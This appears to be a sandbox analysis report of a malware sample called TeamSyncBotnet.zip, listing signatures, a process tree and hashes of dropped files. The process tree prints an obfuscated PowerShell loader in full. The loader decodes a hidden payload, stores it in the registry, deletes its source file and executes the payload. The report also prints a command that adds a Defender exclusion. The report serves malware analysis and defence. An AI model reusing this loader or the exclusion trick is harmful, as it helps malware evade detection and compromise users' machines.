Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    116s
  • max time network
    118s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/08/2024, 10:13

Errors

Reason
Machine shutdown

General

  • Target

    TeamSyncBotnet.zip

  • Size

    1011KB

  • MD5

    2a27a138d8a1f1a34d4149427b69d785

  • SHA1

    35a9941c175222d9704970e931b6760142d4eeda

  • SHA256

    653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728

  • SHA512

    c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b

  • SSDEEP

    24576:m9MM9cuzAR3RyDlEKu3n81Sfcu91HHu1Mu/L1wzQtYJ:C9BzUhyDldu3nQW9BHgMKL1wzQ+J

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\TeamSyncBotnet.zip
    1⤵
      PID:3936
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:616
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1052
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8e528cc40,0x7ff8e528cc4c,0x7ff8e528cc58
          2⤵
            PID:4552
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2028,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2024 /prefetch:2
            2⤵
              PID:3160
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1380,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2060 /prefetch:3
              2⤵
                PID:4400
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2212,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2228 /prefetch:8
                2⤵
                  PID:1580
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3236 /prefetch:1
                  2⤵
                    PID:3136
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3280 /prefetch:1
                    2⤵
                      PID:2776
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4468,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3568 /prefetch:1
                      2⤵
                        PID:4880
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4828,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:8
                        2⤵
                          PID:4800
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4864,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:8
                          2⤵
                            PID:1076
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4592,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4284 /prefetch:1
                            2⤵
                              PID:4808
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4600,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4756 /prefetch:1
                              2⤵
                                PID:1524
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4520,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4584 /prefetch:8
                                2⤵
                                • NTFS ADS
                                PID:3864
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=224,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4496 /prefetch:8
                                2⤵
                                  PID:3068
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3712,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4856 /prefetch:8
                                  2⤵
                                    PID:1072
                                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                  1⤵
                                    PID:2080
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                    1⤵
                                      PID:2356
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Botnet\Botnet.bat" "
                                      1⤵
                                        PID:1560
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
                                          2⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Adds Run key to start application
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:672
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ps-driver.bat'
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4784
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ps-driver.bat" "
                                            3⤵
                                              PID:540
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe"
                                          1⤵
                                            PID:800
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
                                              2⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4020
                                          • C:\Windows\system32\LogonUI.exe
                                            "LogonUI.exe" /flags:0x4 /state0:0xa3a1e055 /state1:0x41c64e6d
                                            1⤵
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of SetWindowsHookEx
                                            PID:3096

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                                            Filesize

                                            649B

                                            MD5

                                            b8cd67e4ba77f04fb23e9c7b8bc73900

                                            SHA1

                                            b0c2079972941196e46d8de6a12b3d29d6b7822c

                                            SHA256

                                            76ea4ac28a433496435c59323082421895252ce9187d36829d3b12f6bd71a323

                                            SHA512

                                            12ce84e8b17cec8fe5f900e540ac2a70e9586c75bd2af0dfed10efd8259dda6354fd7b120016faff922882f8b3a8b69c991064c3f0886982c7360abfe6bee5ab

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

                                            Filesize

                                            1011KB

                                            MD5

                                            2a27a138d8a1f1a34d4149427b69d785

                                            SHA1

                                            35a9941c175222d9704970e931b6760142d4eeda

                                            SHA256

                                            653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728

                                            SHA512

                                            c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                            Filesize

                                            1KB

                                            MD5

                                            324a0de1effab269933b4b0cc176b014

                                            SHA1

                                            495980478c0b06b21e1a76d85eee87eee7cb9188

                                            SHA256

                                            b92b78f049324adcec8128d6b9d6234c51b9d26788bdbab3e484698b4a8f5a10

                                            SHA512

                                            8699ff7994ecc5c80e44aa4320c8a04fdaae90a64528304b3e2749bbb7b155659172b5f1b8c5f24caa3b9292ca1d2fbdff6331b391d0e14548a83a45a05da675

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                            Filesize

                                            2B

                                            MD5

                                            d751713988987e9331980363e24189ce

                                            SHA1

                                            97d170e1550eee4afc0af065b78cda302a97674c

                                            SHA256

                                            4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                            SHA512

                                            b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                            Filesize

                                            352B

                                            MD5

                                            d2c832fda1ef677c32b65cc91ba15efc

                                            SHA1

                                            68461b226ade42c8cbcb041b4175883b2599ba64

                                            SHA256

                                            77562023414673d492f6e01f0763e7bcf9f907a14087fd0b23f36e0ab4b4cac5

                                            SHA512

                                            48f62431803f4e6948606fdf6d7001a6c60effa5e39356e2359fc539c1275b3f0c28b58e7bf173fb8f58fca72677ab424e95f345897761cde39c615fb51be424

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            9KB

                                            MD5

                                            36ef1a30c7cd315866ddd008cea1e318

                                            SHA1

                                            e9b209f17ae62852c91b8331eda0c154c148d373

                                            SHA256

                                            8d87efb81a883f8e36a4b4d07a2d78b58b072fb9c5e6cac6a6c6dd8d26755648

                                            SHA512

                                            8ff824ffdfb26424336629aaeb4741bbaea3d069b6d927ceb8c01aa1f109da26039ffb20b341b916cf10e1da23a332cd5a134c8960b2c8e17942db752834aebf

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            9KB

                                            MD5

                                            0cc566065fddc16723a207e900515ad3

                                            SHA1

                                            a6ce2c4670045ac89e68010dc0fa7e9d123b621f

                                            SHA256

                                            49467c95159f1969b1258353478bd7f0ac7953df99bd899564811eb10ff68c1a

                                            SHA512

                                            b6c53763a767e257d4fc5e78abaf0fd921b2afb9b48f6a46238a1845fbaecc0f4ce0dd2af0eecbe8aa664e5be217723dbd0e3e6d01a6fdddcf9c35357274d8fd

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            9KB

                                            MD5

                                            04108ecd9d3d1f2e81e04d808c4f7bc8

                                            SHA1

                                            19df5ae2b4d99d8cfdc28d61e74613ceb5023bc3

                                            SHA256

                                            137e3b8390172f0bc71a9e0aba8dcf887e8aa83b10dd0af71d85ea3005c0cfc6

                                            SHA512

                                            1ffb12668069c039ec33b7d0e20d4af0a7b30545b1bf64400dc8f227f46b37f278fe079bdae363b345c17c23782a24f7dd3fa1c018567b20e532e0eb3e5c983a

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                            Filesize

                                            9KB

                                            MD5

                                            b2bc8f0a4fbc33c8a4255fd7492fd5e6

                                            SHA1

                                            b293eee9db173a15a304b06bf05b8c544b7095e2

                                            SHA256

                                            df9b7947f00cb33e8fe81b9f9f67a831738b29e2ee43cb6f8fbb80b004fab0b7

                                            SHA512

                                            8f02f7c62170fd2a6ed21d2e1d520458d22ea641ba49c21a589eadb53f8f3778a19faae36fb709ba2da27eeaf17847ec9b75f5a4fd05973905659e701c81f96a

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                            Filesize

                                            15KB

                                            MD5

                                            2f01bc047b67c6d3ee9597892437fca9

                                            SHA1

                                            e57b26a340ce38ac734f986ed9152e15d92cfd09

                                            SHA256

                                            b32af79fd313797b103a71ad60b2370629e5348a578728cd2db57372427c61cc

                                            SHA512

                                            5a1b93e4348152db8b128df1e93fca7877b2a6c4fa4ca7f0d6d6664493e605f3c49ed2be9a50cb2fdadd085b8702a879172051edc07582736d9ea9ba4d29359a

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\fbb20ddf-f6f8-4e62-9e7a-9b5cd1f3c199.tmp

                                            Filesize

                                            9KB

                                            MD5

                                            c6363b418546de38b66a28887a1ef76c

                                            SHA1

                                            1f1d838554132e93bd28981366585d78ac7893d1

                                            SHA256

                                            7e36e086758cd6bc2f195604d60443987b4195ae61410c959f46fe1e158ab6a9

                                            SHA512

                                            87010e43fa2129ffe5859c156b0705cd670bc42f6e3e7bc04cf70483e295b236773f7882191ae98edd00daa22113ea41b576e83b37a828a8432b532c93141d73

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            195KB

                                            MD5

                                            d2ad5730d86c8e4b12f659b6cbf3ce23

                                            SHA1

                                            c55d6528cd5052894eba8d10175ba04342e0795c

                                            SHA256

                                            3f99fa99f83867ae9255b5e478588f4c2ed0656772dc191e81621628619d15f3

                                            SHA512

                                            a21db3066231d37ff7f60c9d3e25e6a0607aab0e17fdc2900b37037e65f5b782cbe7dfb588aba162106c174616772b3c03e6accef49aa1691db0cbfc6514c5d8

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            262KB

                                            MD5

                                            87f776feddec3aa52e5c797656edb493

                                            SHA1

                                            b783eae96d43b20a4ec7a127476340e58aa8caed

                                            SHA256

                                            9724fd0137a46d4220fcd45a7673e8c68b6d32772f7aa1e3068b07a6bae2ad93

                                            SHA512

                                            782e932dfcbb7847697807e3cf7025963af954db5905d789069e085e3da80cafad3f1ef34ba7d28a495678310f260038efdfab303a9436cc4f7a465712419c19

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            196KB

                                            MD5

                                            c978d2f137da1ba478a94110701dde51

                                            SHA1

                                            82d36c4c080065ad3de7212fbe64a6751669ecb4

                                            SHA256

                                            824b2f86c6a1f23295648da7f66a63aef83687845a6577ea222300b376d37045

                                            SHA512

                                            393f443aa319c7c1564f71006862361c0ebe3561cece7e3c83dbff21cceaaca9312ffba318f6d00447f7eed0e202abb77becae45425453cd48e19d537db263b1

                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                            Filesize

                                            195KB

                                            MD5

                                            436aa5ca2d249e24b4cd1d1c2fd4d668

                                            SHA1

                                            d3cde52ce0e5ee08f3b244ceecfa4b96ce6c095f

                                            SHA256

                                            336960af393e8cc09a53314297a19462036e0e9f2ac7e38808e696c6cec03661

                                            SHA512

                                            6651ea8e51c661835045a69885b739b5c007b567373c5dc4c3999d554affce0e075edd4ca7766e50cb13968f1c90449657ed636bf19d903e7060f6badf114ad5

                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                            Filesize

                                            2KB

                                            MD5

                                            627073ee3ca9676911bee35548eff2b8

                                            SHA1

                                            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                            SHA256

                                            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                            SHA512

                                            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            1KB

                                            MD5

                                            14f58e0e62f56d86f54876274dca9e06

                                            SHA1

                                            4b0e0cae1777e94342dbf9e8b5ca2021f670e087

                                            SHA256

                                            98e74b76f7ee1e6ae61b02dd58af3bc7fd0e843e656876bfa388124a17239988

                                            SHA512

                                            13200c1ad262c680b8497b7c25284c9061cc01366456d5f85f7a06d33af5da900cc092c5bf23909d3f99c97454720ae42af429814c28682237120bdb77f39a2e

                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g3t5byb.ghj.ps1

                                            Filesize

                                            60B

                                            MD5

                                            d17fe0a3f47be24a6453e9ef58c94641

                                            SHA1

                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                            SHA256

                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                            SHA512

                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                          • C:\Users\Admin\AppData\Local\Temp\ps-driver.bat

                                            Filesize

                                            372KB

                                            MD5

                                            52a626d0c80a0e041f89db33dc8dd4fa

                                            SHA1

                                            1fc0fc601237094419145cac19dd030dc647f91a

                                            SHA256

                                            9e7c53d85a2bf4e048e499e0dc6bad575646d250c154f2aed6a042f65b8de51f

                                            SHA512

                                            9dc64b8be1f434cbbee07dd5893b2a883c33f1f13941fd57c623948e1b89e8b23f93496105d63e5c5c81980f4930c5ddb54ee846d156c2c2a69ce964cd49e2ef

                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                            Filesize

                                            6KB

                                            MD5

                                            42722c1a5adb7ba2d3c97479b88df748

                                            SHA1

                                            9405417b1869cff56c01482747db028342490ea9

                                            SHA256

                                            f071b7a2871b1d07bc8cf52dfcab1aec55bc6ee0f5ba035a62d573a478bec4c0

                                            SHA512

                                            01cff094b0449c1f5e6a983a9f38a3242b3f1d680e2d874b7502f5eb928d6e33ff28d630d44f4eba825da0e0848b524456cd534020174405a997b04477e3d9e6

                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                            Filesize

                                            6KB

                                            MD5

                                            0f7f68ee314ed3b781a42984149e9ac3

                                            SHA1

                                            eb20756812ecb3f2414ceb03d688fa814f58dff5

                                            SHA256

                                            cbd94bd790669bfe4fd93a87b1a1782a63c65db695557da7b9d632849190fcfc

                                            SHA512

                                            0c923b68ec520b7a5afa59105f2f7fd3b3e35210705c5bb9acd452cc42a4c49a5aba0db2efdce94f5fab30d354825c160265a280cf5a92da30a1f77c4eef6ab8

                                          • C:\Users\Admin\Downloads\TeamSyncBotnet.zip:Zone.Identifier

                                            Filesize

                                            70B

                                            MD5

                                            8a21307a442e291f2298086eca4e21cc

                                            SHA1

                                            8fcc503c06184f96dd75e51a6842fd56eb04a467

                                            SHA256

                                            c48c77a49e776b49c149fe608ade75255534100850e094b02072819b0e924e91

                                            SHA512

                                            096a773853e2e4739dcd485323f4af100dd849a165b6110f630386e79e7fea80aa4853e097a59b08a5bda81ec133966c051b68bf5e6ec3f54b29b2396fd30b06

                                          • memory/672-106-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/672-114-0x000001D2C2B00000-0x000001D2C2B4C000-memory.dmp

                                            Filesize

                                            304KB

                                          • memory/672-105-0x000001D2C1C60000-0x000001D2C1C68000-memory.dmp

                                            Filesize

                                            32KB

                                          • memory/672-113-0x000001D2C2A70000-0x000001D2C2AC8000-memory.dmp

                                            Filesize

                                            352KB

                                          • memory/672-103-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/672-104-0x00007FF8F3790000-0x00007FF8F384D000-memory.dmp

                                            Filesize

                                            756KB

                                          • memory/672-102-0x000001D2A9590000-0x000001D2A9598000-memory.dmp

                                            Filesize

                                            32KB

                                          • memory/672-111-0x00007FF8F49E0000-0x00007FF8F4BE9000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/672-110-0x000001D2C2710000-0x000001D2C2798000-memory.dmp

                                            Filesize

                                            544KB

                                          • memory/672-108-0x000001D2C26F0000-0x000001D2C26F8000-memory.dmp

                                            Filesize

                                            32KB

                                          • memory/672-98-0x000001D2A9670000-0x000001D2A9692000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/672-109-0x000001D2C2700000-0x000001D2C2708000-memory.dmp

                                            Filesize

                                            32KB